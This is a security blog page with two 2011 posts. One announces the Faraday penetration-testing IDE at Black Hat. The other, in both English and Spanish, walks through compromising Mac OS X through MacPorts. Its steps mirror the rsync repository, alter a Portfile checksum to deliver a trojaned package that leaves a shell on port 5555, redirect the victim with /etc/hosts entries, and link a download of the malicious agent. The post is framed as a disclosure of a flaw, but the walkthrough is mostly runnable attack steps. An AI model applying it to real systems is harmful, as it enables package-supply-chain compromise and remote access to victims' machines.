الاثنين، 25 يوليو 2011

Black Hat USA 2011 + Faraday

Tenemos el agrado de contarles que estaremos presentes en la edición 2011 de Blackhat USA.

En esta ocasion vamos a estar presentando
Faraday (llamado así en homenaje a los seis principios de la disciplina científica de Michael Faraday) es un IDE para test de penetración. Es muy similar a IDE de programación (como el de Komodo, Eclipse, NetBeans), con la diferencia de que Faraday es para fines de penetration test multiusuario. A primera vista, parece otro IDE, pero es mucho más que eso. Se trata de un cliente y un servidor diseñado para la distribución, la indexación y el análisis de los conocimientos generados durante el trabajo de un test de penetración.

Para mas información pueden ver el siguiente post + video ekoparty 2010



Estaremos presente el día 4 de Agosto en el Arsenal (Mas información)

Esta foto el ultimo hackaton que organizamos para finalizar los últimos detalles previos a la presentación!

Después de 16 hs seguidas se puede ver las caras largas de varios!



Aprovechamos para felicitar al excelente team detrás del desarrollo:
Esteban Guillardoy (tw)
Facundo Guzman (tw)
Matías Ariel Medina (tw)
Federico Kirschbaum (tw)
Juan Pablo Borgna (tw)

الخميس، 7 يوليو 2011

Pwning Mac OS X with evilgrade + MacPorts


The idea of this post is to show the flaws in the packages distribution of the project MacPorts for Mac OS X

The MacPorts use:

a) To update your repository rsync server
b) The packages are distributed via http / ftp
c) Before installing a new package it is checked with the MD5/SHA1 in the local repository



To perform the attack we need to do the following tasks:
1) Prepare the rsync server on the attacker's machine (192.168.10.133) with all the files of rsync.macports.org:

mkdir -p /dev/evilgrade/release/ports
mkdir -p /dev/evilgrade/release/base
#Get the files from rsync.macports.org
/usr/bin/rsync -rtzv --delete-after --exclude=/PortIndex* rsync://rsync.macports.org/release/ports/ /dev/evilgrade/release/ports/
/usr/bin/rsync -rtzv --delete-after --exclude=/PortIndex* rsync://rsync.macports.org/release/base/ /dev/evilgrade/release/base/

2) Configure the file /etc/rsyncd.conf:

max connections = 20
log file = /var/log/rsync.log
timeout = 300
[release]
comment = Stuff
path = /dev/evilgrade/release/
read only = yes
list = yes
uid = nobody
gid = nogroup
# auth users = craig
# secrets file = /etc/rsyncd.secrets
hosts allow = 192.168.10.0/24 #change for your subnet
3) Then start the rsync server /etc/init.d/rsync start
4) In this case we will attack the package serf in the category www. The idea is that when you install this package we create a listener shell port 5555
We have to edit the repository file /dev/evilgrade/release/ports/www/serf/Portfile and change checksums md5 with the hash of our payload/agent found in /evilgrade/agent/serf-0.7.2. tar.bz2

You could also prepare the repository for all "Porfiles" point to the same package with the same md5 so any installation which infect the victim port

This agent has a line (132) in Makefile.in to leave a shell at port 5555

4) On the victim machine (192.168.10.42) for this test add in /etc/hosts the following lines or make any forwarding traffic attack :
192.168.10.133 serf.googlecode.com rsync.macports.org
5) Start evilgrade on the attacker machine 192.168.10.133
6) On the victim machine run a "sudo port selfupdate" and then "sudo port install serf"

7) We verify that our attacker is receiving the rsync request by reading the file /var/log/rsync.log
Check what happend in evilgrade:
8) Enjoy your shell!
Download the MacPort agent from http://www.infobytesec.com/down/macportsevilgrade.tar.gz and uncompress it in the evilgrade path.
Remember to keep your systems updated! ;)

Pwning Mac OS X con evilgrade + MacPorts


La idea de este post es demostrar las fallas en la distribución de paquetes en el proyecto MacPorts para sistemas Mac OS X
A grandes rangos el port utiliza:
a) Para la actualización de su repositorio un servidor rsync
b) Los paquetes se distribuyen por http/ftp
c) Antes de instalar un nuevo paquete verifica el md5/sha1 del repositorio local con el nuevo archivo si es valido instala el paquete.
Para realizar el ataque debemos seguir las siguientes tareas:
1) Preparamos el servidor de rsync en el equipo atacante (192.168.10.133) con todo repositorio valido de rsync.macports.org:
mkdir -p /dev/evilgrade/release/ports
mkdir -p /dev/evilgrade/release/base
#Obtenemos la información necesaria
/usr/bin/rsync -rtzv --delete-after --exclude=/PortIndex* rsync://rsync.macports.org/release/ports/ /dev/evilgrade/release/ports/
/usr/bin/rsync -rtzv --delete-after --exclude=/PortIndex* rsync://rsync.macports.org/release/base/ /dev/evilgrade/release/base/

2) Configuramos el archivo/etc/rsyncd.conf:

max connections = 20
log file = /var/log/rsync.log
timeout = 300
[release]
comment = Stuff
path = /dev/evilgrade/release/
read only = yes
list = yes
uid = nobody
gid = nogroup
# auth users = craig
# secrets file = /etc/rsyncd.secrets
hosts allow = 192.168.10.0/24 #cambiar por la subnet correspondiente.
3) Luego levantamos nuestro servidor /etc/init.d/rsync start
4) En este caso vamos a atacar el paquete serf dentro de la categoría www. La idea es que cuando instale este paquete nos deje una shell en el puerto 5555
Tenemos que editar en el repositorio el archivo/dev/evilgrade/release/ports/www/serf/Portfile y cambiar el checksums md5 por el hash de nuestro payload/agente que se encuentra en /evilgrade/agent/serf-0.7.2.tar.bz2
También se podría preparar este repositorio para que todos los Porfiles apunten a un mismo paquete con el mismo md5 con la cual cualquier instalación por port infectaría a la victima
Este agente tiene una línea (132) en el Makefile.in para dejar una shell en el 5555
4) En el equipo víctima (192.168.10.42) para esta prueba agregamos en el /etc/hosts las siguientes lineas o realizamos algún ataque de redireccionamiento de trafico:
192.168.10.133 serf.googlecode.com rsync.macports.org
5) Levantamos el evilgrade en el equipo atacante 192.168.10.133
6) En el equipo victima corremos un “sudo port selfupdate” y luego “sudo port install serf”

7) Verificamos que nuestro atacante este recibiendo el requerimiento por rsync leyendo el archive /var/log/rsync.log
y luego el request en evilgrade:
8) Por ultimo nos conectamos a nuestra shell
Para obtener este obtener el agent y modulo de MacPort bajar el siguiente paquete http://www.infobytesec.com/down/macportsevilgrade.tar.gz descomprimirlo en el raíz de evilgrade.
Recuerden mantener actualizados sus sistemas ;)